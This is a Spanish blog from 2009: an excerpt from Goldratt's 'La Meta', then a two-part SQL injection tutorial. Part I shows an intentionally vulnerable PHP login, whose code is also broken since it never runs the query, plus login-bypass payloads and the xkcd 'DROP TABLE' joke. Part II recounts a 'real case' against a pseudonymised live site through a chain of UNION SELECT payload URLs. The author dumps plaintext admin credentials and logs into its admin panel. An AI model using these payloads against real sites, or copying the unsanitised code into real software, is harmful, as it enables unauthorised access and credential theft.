jueves, agosto 20, 2009

Quiero ir a la "lomita"

Con tanto stress de trabajo definitivamente hay días que quisiera irme a la "lomita", término que adopté después de leer el libro "La Meta" de Eliyahu Goldratt, bastante interesante y me gustó porque de una forma amena aborda el tema de la Teoría de las Restricciones (TOC).

A continuación, para el que quiera leerlo copio la parte de donde saco el término:

"¿Qué es lo que hago aquí? De repente, me pregunto para qué he venido. Después de la reunión, que, por cierto, durará casi todo el día, ¿voy a poder hacer mi fábrica más competitiva, salvar un empleo o ayudar a alguien a hacer algo que pueda resultar provechoso?.. . Es inútil. No sé ni siquiera lo que es la productividad. Estoy perdiendo el tiempo. Con estos pensamientos en la cabeza, voy recogiendo lentamente y... me largo.
Nadie se dirige a mí en el tramo que separa la sala de los ascensores, así que, afortunadamente, mi escapada pasa inadvertida. Pasa inadvertida hasta que, esperando el ascensor, se me acerca Hilton Smyth.
— No estarás intentando abandonar el barco, ¿verdad Al? Por unos instantes pienso en ni siquiera mirarle, pero me doy
cuenta de que Smyth va a ir con el cuento a Peach, así que improviso:
— Tengo que hacerlo. Hay un asunto urgente que debo resolver en la fábrica.
— ¿Cómo? ¿Una emergencia?
— Más o menos.
Las puertas del ascensor se abren. Subo. Smyth sigue su camino con una expresión curiosa en sus ojos. Las puertas se cierran.
Peach bien podría despedirme por abandonar su reunión. Tal y como están las cosas, no sería sorprendente. Bueno, si me despidiera me ahorraría los tres meses de angustia que quedan para que ocurra lo inevitable. Tengo el ánimo por los suelos.
Al llegar a Bearington no voy a la fábrica. Deambulo por las calles, girando el volante cuando me parece. Pasan dos horas. No
me importa. Quiero escapar. No pienso en el trabajo. Trato de olvidarlo, pensando en el buen día que ha quedado. Brilla el sol. Hace buena temperatura. No hay nubes. El cielo es azul y, aunque la primavera no ha llegado todavía, ya anuncia que está cercano su milagroso estallido de cada año. ¡Es un buen día para evadirse!
Recuerdo haber mirado la hora poco antes de llegar a la verja de entrada de la fábrica, la una. De repente, cuando estoy a punto de traspasar la verja, caigo en la cuenta de que no quiero entrar. Miro a la fábrica y acelero, dándole la espalda. Tengo hambre. Voy a buscar algo para comer. Me doy cuenta de que lo que realmente no quiero es entrar otra vez en la dinámica del trabajo. Necesito pensar tranquilamente.
Un par de kilómetros más arriba hay una pizzería. Está abierta. Entro y pido una pizza de tamaño medio con doble de queso, pepinos, salchichas, champiñones, pimienta, mostaza, aceitunas, cebolla y —¡hummm!— ¡trocitos de anchoa! Mientras espero, se me van los ojos detrás de las patatas fritas, los taquitos de jamón, las aceitunas... Le digo al encargado, un siciliano, que me prepare dos bolsas para llevar. Normalmente, no bebo a mediodía, pero el anuncio luminoso —«LLÉVAME»— de las cervezas me hace desearla y pido seis latas frías. Pago y salgo con tan preciado cargamento. ¡La angustia me abre un apetito voraz!
Cerca de la fábrica hay un camino de gravilla que asciende por una pequeña pendiente, hasta llegar a la subestación eléctrica que está a un kilómetro, más o menos. Giro bruscamente para entrar en el camino. El Buick derrapa un poco. Tiendo la mano rápidamente para evitar que la pizza salte del asiento.
Aparco, dejando tras de mí una nube de polvo. Me quito la corbata y la americana para que no se manchen. Desabrocho los dos botones superiores de mi camisa y empiezo a dar cuenta de las provisiones. Es un auténtico placer morder la masa crujiente. El queso se estira entre mi boca y la pizza, en hilos amarillos y elásticos.
La fábrica está ahí. La veo desde mi atalaya, al otro lado de la carretera. Es como una caja de metal gris sobre la explanada. Ni una sola ventana. Sé que dentro hay cuatrocientas personas trabajando en el turno de día. Sus coches están aparcados delante de la
fábrica. Observo que un camión está reculando entre otros dos, en la plataforma de embarque. Los tres transportan materiales. Los materiales que las máquinas y los hombres de dentro están utilizando para hacer cosas. Al otro extremo, otros camiones se llevan lo que se ha producido. Se supone que yo dirijo lo que ocurre allí abajo. Abro una cerveza y mastico mi pizza antes de beber un trago.
La fábrica parece un elemento más del paisaje. Es como si fuera consustancial al paisaje mismo. Sin embargo, sé que lleva allí sólo quince años y, es más, sé que es muy probable que no sobreviva los próximos quince. ¿Cuál es la meta? ¿Qué se supone que hacemos ahí? ¿Qué es lo que está manteniendo en marcha todo el montaje?
Jonah afirmaba que hay una sola meta."

Definitivamente... a veces quisiera dar media vuelta e irme a esa "lomita" para darme un break y alejarme del ambiente de trabajo, pero el mismo sentido de responsabilidad no me deja hacerlo tanto así, ya llegará el día, pero... quiero ir a la lomita.

jueves, agosto 13, 2009

SQL Injection básico II/II

Segunda Parte: Caso real de sql injection para lograr acceso al panel de administración de un sitio.

Ok, no vamos a decir el nombre ;) asi que a nuestro sitio le llamaremos "lazyprogrammer.com.sv", vamos a por lo que vinimos:

¿Que información es básica para nuestros propósitos?
Dada la cantidad de variables, sintaxis y escenarios con los que nos podemos encontrar las cosas que necesitamos saber, entre otras son:

- Tipo de servidor de bases de datos (Oracle, MSSQL, MySQL, etc)
- Version del servidor de base de datos (por aquello de las sintaxis, cambios y vulnerabilidades)
- Nombre de la base de datos
- Nombre del usuario de la base de datos
- Permisos del usuario de la base de datos
- Nombre de la tabla
- Nombre de las columnas
- etc

Anteriormente vimos como una comilla simple se convertía en un gran enemigo de nuestro servidor de bases de datos y un aliado en las SQL injections, así que seguiremos usándola, luego verán que se vuelve una manía estar probando las comillas por donde vayamos.

Lo primero entonces es buscar una variable que sea inyectable, lo mas común es encontrarlas en variables que se pasan por la url del tipo:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1

Aca se está pasando la variable id con valor 1 por la url... tomando de base lo que pasaba en la entrega anterior, veamos que pasa si ponemos una comilla simple al final como queriendo cerrar la consulta:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1'

Nos da el siguiente error:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Los errores son una gran fuente de información, acá por ejemplo, este error nos está diciendo lo siguiente:
- Estamos frente a un servidor MySql
- Las comillas simples se están "escapando", es posible que magic_quotes este "on"

Aquí es donde comenzamos a pedirle al servidor que nos diga mas, haciendo uso de subqueries o subconsultas "UNION SELECT", pero tenemos que tener en cuenta que cuando usamos Union Select, nuestra subconsulta debe de tener el mismo número de columnas que la primera consulta, entonces, se nos hace necesario primero saber cuantas columnas tiene la consulta original, probemos...

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1

Nos da el error:

The used SELECT statements have a different number of columns

Ok, tiene mas de una columna y además encontramos una variable que es inyectable... sigamos probando entonces hasta que no nos de ningun error

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1
http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1,1
http://www.lazyprogrammer.com.sv/faq_details.php?id=1 UNION SELECT 1,1,1,1

Excelente, no nos dió error, nos mostrá la página como normalmente, esto quiere decir que tiene 4 columnas.

Otra forma de saberlo es haciendo uso de ORDER BY, veamos:

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 ORDER BY 1
No dió ningún error... asi que probamos

http://www.lazyprogrammer.com.sv/faq_details.php?id=1 ORDER BY 2
Y así sucesivamente hasta que nos de el siguiente error:

Unknown column '5' in 'order clause'

Asi que tenemos 5-1 columnas = 4.


Ahora que sabemos que nuestra consulta debe de tener 4 columnas, debemos encontrar un lugar donde los resultados de nuestra consulta sean mostrados, asi que lo primero es hacer que la primer consulta no muestre ningún resultado, como lo logramos? tenemos que colocar un valor de registro (id) que no exista, de esa forma dejara el espacio en blanco, asi que podemos utilizar por ejemplo:

id=9999999999999
id=0
id=-1

Yo prefiero usar el -1, ahora... como sabemos que columna muestra y a donde la muestra? usamos lo siguiente:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 UNION SELECT 1,2,3,4

Y nos muestra:

Tema:

2
3

Vemos que solo muestra 2 y 3... cambiemos algo mas para comprenderlo mejor:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 UNION SELECT 1,2222,3333,4

y esto nos muestra:

Tema:

2222
3333

O sea que muestra en pantalla lo que solicitemos en las columnas 2 y 3.

Que podemos solicitar?
En el siguiente enlace tenemos una excelente hoja de cosas que podemos solicitar...

http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/

Entre estos encontramos:

@@version o version()
user()
system_user()
database()

Creo que es bastante obvio, asi que los comenzamos a probar, sustituyendo las columnas 2 y 3 por lo que querramos saber:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,database(),version(),4

O podemos unir toda la informacion que queremos para que lo muestre en un solo campo:

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,concat_ws(char(58),version(),user(),database()),3,4

Esto lo que hace es concatenar los valores de version(), user() y database() haciendo uso del simbolo char(58) que son los dos puntos ":", entonces tenemos lo siguiente:

4.0.18:lazy_banner@lazyprogrammer.com.sv:lazy

O sea, la version de Mysql es 4.0.18, el usuario es lazy_banner@lazyprogrammer.com.sv y la base de datos se llama lazy.

La versión 4 de mysql es un poco mas tediosa para poder encontrar el nombre de las tablas y columnas, en la versión 5 podrímos hacer uso de information_schema.tables, pero en la 4 no la tenemos, asi que jugaremos un poco con nuestra creatividad y la poca creatividad del programador...

Averiguemos primero el nombre de la tabla... que nombres podría haber puesto el administrador para una tabla de login?

usuarios
users
login
logins
adminsitradores
administrador
admin

Probemos...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,2222,3333,4 from administrador
Table 'lazy.administrador' doesn't exist

No existe... seguimos probando hasta que...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,2222,3333,4 from admin
No da error, esto quiere decir que la tabla admin SI existe!!!

Y que columnas podrian existir?

user
usuarios
usuario
nombre
y tambien...

clave
password

Probemos....

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,user,3333,4 from admin
Unknown column 'user' in 'field list'

No existe, asi que seguimos probando...

http://www.lazyprogrammer.com.sv/faq_details.php?id=-1 union select 1,usuario,password,4 from admin

Hasta que dimos con los nombres de las columnas correctas y mejor aun.. nos muestra el primer registro de esta tabla, dejando al descubierto el nombre del primer usuario y su password, la cual no esta encriptada sino en texto plano!!!

Aca solo nos mostró el primer registro, asi que busquemos mas, para esto utilizamos LIMIT

http://www.lazyprogrammer.com.sv//faq_details.php?id=-1 union select 1,usuario,password,4 from admin limit 0,1

Entonces seguimos con
limit 1,1
limit 2,1
limit 3,1
limit 4,1

Hasta que ya no muestra nada mas.

Ahora bien.... ya tenemos un listado de usuarios y passwords, los cuales se utilizan normalmente en algun formulario de Login, el cual... normalmente se encuentra en directorios como:

http://www.lazyprogrammer.com.sv/administrator
http://www.lazyprogrammer.com.sv/administrador
http://www.lazyprogrammer.com.sv/admin

Y voilaaaaa!!! /admin si nos muestra la pagina para loguearnos, asi que solo bastará utilizar cualquier combinación encontrada anteriorment y estamos adentro!!!


Bueno, hasta acá nos encontramos con un sitio bastante intuitivo, veremos si mas adelante preparamos algún otro texto para seguir ahondando en el tema, que como les dije antes, es bastante extenso.

Ya saben... preguntas, quejas, chascarríos.. a los comentarios!

SQL Injection básico I/II

domingo, agosto 02, 2009

SQL Injection básico I/II

¿Qué es?
SQL Injection es una vulnerabilidad bastante común que consiste en hacer que una aplicación que ejecuta una sentencia SQL, ejecute otra sentencia SQL que nosotros queramos, esto se logra “inyectando” un código para así modificar la sentencia SQL original.

¿Cual es el alcance/riesgo de este tipo de vulnerabilidad?
Todo dependerá del escenario (motor de base de datos, versión del motor de la base de datos, sistema operativo, permisos, lenguaje de programación, etc), pero entre las cosas que se pueden lograr están:

  • Saltarse sistemas de autenticación (login bypass)
  • Averiguar contraseñas u otra información, ya sea almacenada en la base de datos o en algún archivo.
  • Agregar, eliminar, editar registros en una base de datos.
  • Agregar, eliminar, editar tablas.
  • Leer archivos (por ejemplo /etc/passwd), lo cual comprometería por completo un sistema...
  • etc.

¿Por qué se da esta vulnerabilidad?
Debido a un mal trato de la aplicación a las variables que recibe, es decir, no se verifica el tipo de datos que esta recibiendo antes de utilizarlo, un error humano bastante común en muchos programadores que no tienen en cuenta la seguridad, en los ejemplos veremos mejor a qué nos referimos.


¿A quienes afecta?
Este tipo de vulnerabilidad se da en cualquier motor de base de datos que ejecute sentencias SQL (MySQL, MS SQL, Oracle, PostgreSQLetc), lo más común es encontrarla en aplicaciones web, aunque también existen otros tipos de inyecciones como: LDAP, XML, XPATH, etc.

El tema SQL Injection es un tema muy extenso e interesante, en este manual únicamente haremos una breve demostración de 2 cosas que se pueden hacer en aplicaciones web: En la primera parte utilizaremos SQL injection para saltarnos un sistema de registro (login bypass) y en la segunda parte veremos un caso real en el cual, haciendo uso de esta vulnerabilidad logramos acceso al panel de administración de un sitio.


Que conste que no soy experto en el tema, tan solo un aficionado que quiere compartir un poco sobre esto...

Introducción
¿Cómo podemos verificar si una aplicación web es vulnerable a SQL Injection? Lo primero que podemos probar es hacer que la base de datos nos genere algún tipo de error, el cual podríamos verificar para obtener mas información, para esto (y para otras cosas que veremos mas adelante) hacemos uso de la comilla simple (') o las comillas dobles (“), por ejemplo, es muy común encontrar sitios webs que en la url muestran algo asi:

http://www.sitiovulnerable.com.sv/faq_details.php?id=1

entonces, simplemente ponemos una comilla simple al final y nos queda:

http://www.sitiovulnerable.com.sv/faq_details.php?id=1'


Lo que nos podría generar el siguiente error:

You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Este error nos dice que la comilla simple esta siendo “escapada” (se le está colocando un backslash antes de la comilla, osea.. la esta “escapando”), al ver que el lenguaje es PHP sabemos que esto se puede lograr, entre otras formas, usando la función addslashes() o teniendo magic_quotes_gpc() activadas en php.ini y además que se trata de un servidor MySQL.

En aplicaciones web las variables se pueden pasar haciendo uso del método GET (pasando variables por la URL como en el ejemplo anterior) o el método POST (haciendo uso de formularios), en ambos casos podemos encontrar este tipo de vulnerabilidad.


Primera parte: Login Bypass

*Nota: para que el siguiente ejemplo funcione, la función magic_quotes_gpc debe estar off en el php.ini, esta opción en las ultimas versiones de php se encuentra ON por default, pero aún podemos encontrar algunos servidores en OFF.


Analicemos la siguiente pagina en PHP /MySQL


+++++++++++++++++++++++
// mysqlinjection_login.php
// realiza la conexión con MySQL siendo
// localhost el servidor de BD, root el usuario y
// password la contraseña.
$conexion=mysql_connect("localhost","root","password");

// Utiliza la conexión anterior para leer la base
// de datos llamada mysqlinjection
mysql_select_db("mysqlinjection",$conexion);

// define la variable user y pass las cuales toma por medio del metodo POST
// para leerlas del formulario, verificar que no se están verificando.
$user=$_POST['usuario'];
$pass=$_POST['password'];

// Esas variables se usan sin “sanitizarse” en una consulta SQL
$consulta = "SELECT * FROM admin WHERE usuario='$user' and password='$pass'";
$row_consulta = mysql_fetch_assoc($consulta_browser);

// $loginok toma el valor de la cantidad de registros que cumplen la condición
$loginok = mysql_num_rows($consulta_browser);

echo $consulta; //mostramos la consulta para efectos de aprendizaje

// Si $loginok tiene algun valor, entonces nos muestra que pudimos loguearnos,
// de lo contrario nos muestra el mensaje de error
if ($loginok) {
echo "LOGIN OK!!!";
}
else
{
echo "USER/PASSWORD ERRONEOS";
}
+++++++++++++++++++++++

Vemos una aplicación normal que no verifica/sanitiza (quita caracteres que pudieran afectar la seguridad), hemos dejado la opción que muestre como queda la consulta para verificar como podemos inyectar nuestro código.


La parte que nos interesa es la siguiente:

SELECT * FROM admin WHERE usuario='$user' and password='$pass'


Si ponemos al usuario “admin” y password “clave” la sentencia queda de la siguiente forma:

SELECT * FROM admin WHERE usuario='admin' and password='clave'


No nos permite loguearnos ya que no hay ningun usuario que cumpla esas condiciones, el resultado no es verdadero.


Pero que pasa si ponemos en ambos campos algo como:

admin' (comilla simple)


Lo que nos da:

SELECT * FROM admin WHERE usuario='admin'' and password='admin''


Nos da error porque no es una sentencia valida, ya que queda una comilla simple extra, asi que buscamos la forma de generar una sentencia válida, pero que a la vez nos genere un resultado verdadero, por ejemplo:

admin' or 'x'='x


Lo que nos daria la siguiente sentencia:

SELECT * FROM admin WHERE usuario='admin' or 'x'='x' and password='admin' or 'x'='x'


Nos da LOGIN OK!!!

Veamos por qué: verifica si existe un usuario que sea admin o que x sea igual a x, no existe un usuario admin (o tal vez si, en realidad no importa) pero la condicion x=x siempre será verdadera, asi que cumple esta parte de la condición, lo mismo sucede con el password.

Otras opciones que nos dan el mismo resultado (resultado siempre verdadero):

' OR ''=' (todas son comillas simples)

' OR 1=1 – (los dos guiones al final hace que el resto de la sentencia quede “comentada” y no la toma en cuenta)

' –

admin' –


Las variantes pueden ser muchas, lo importante es lograr un sentencia válida que siempre devuelva un valor verdadero.


Después de este breve ejemplo nos vendría bien algo de humor... si no lo entienden después de este texto, igual leanlo bien ya que nos sirve de introducción para la segunda entrega, les aseguro que tendrá más forma:

http://imgs.xkcd.com/comics/exploits_of_a_mom.png


Llaman por teléfono a una madre desde el colegio de su hijo:

Colegio: Hola, es del colegio de su hijo, estamos teniendo algunos problemas con los ordenadores.


Madre: ¡Dios mío! ¿Ha roto algo mi hijo?
Colegio: Más o menos...

Colegio: ¿Su hijo se llama de verdad "Robert'); DROP TABLE Students; --"?
Madre: Oh, sí, lo llamamos "Rebertito tablas"

Colegio: Pues bien, hemos perdido todos los datos de los estudiantes de este año. Espero que esté feliz.
Madre: Y yo espero que haya aprendido a verificar las entradas a su base de datos.

Saludos!

p.d.
Correcciones, chascarrios, notas, etc... a los comentarios!


SQL Injection básico II/II